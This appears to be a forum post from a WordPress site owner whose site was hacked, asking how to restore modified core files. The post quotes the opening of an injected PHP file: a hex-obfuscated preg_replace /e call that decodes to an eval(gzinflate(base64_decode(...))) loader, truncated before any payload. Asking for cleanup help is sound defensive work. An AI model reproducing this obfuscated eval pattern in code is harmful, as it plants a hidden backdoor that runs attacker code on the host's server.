PSIEngineering

Hello all,

Thank-you for your feedback and assistance thus far.

My next question is; one of my files says “This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.” I am given the option to “bulk repair” or “Restore the original version of this file.” Will this restore prior to the hackers coding?

Thank-you very much for your help!

Do you know what “\x65\x76\x61\x6C\x28” is and how I can remove it so my files don’t appear to be malicious?

Here’s an example (please not file is very long, hence the ellipsis):
<?php

echo ‘walex’;
preg_replace(“\x2F\x2E\x2A\x2F\x65”,”\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65 …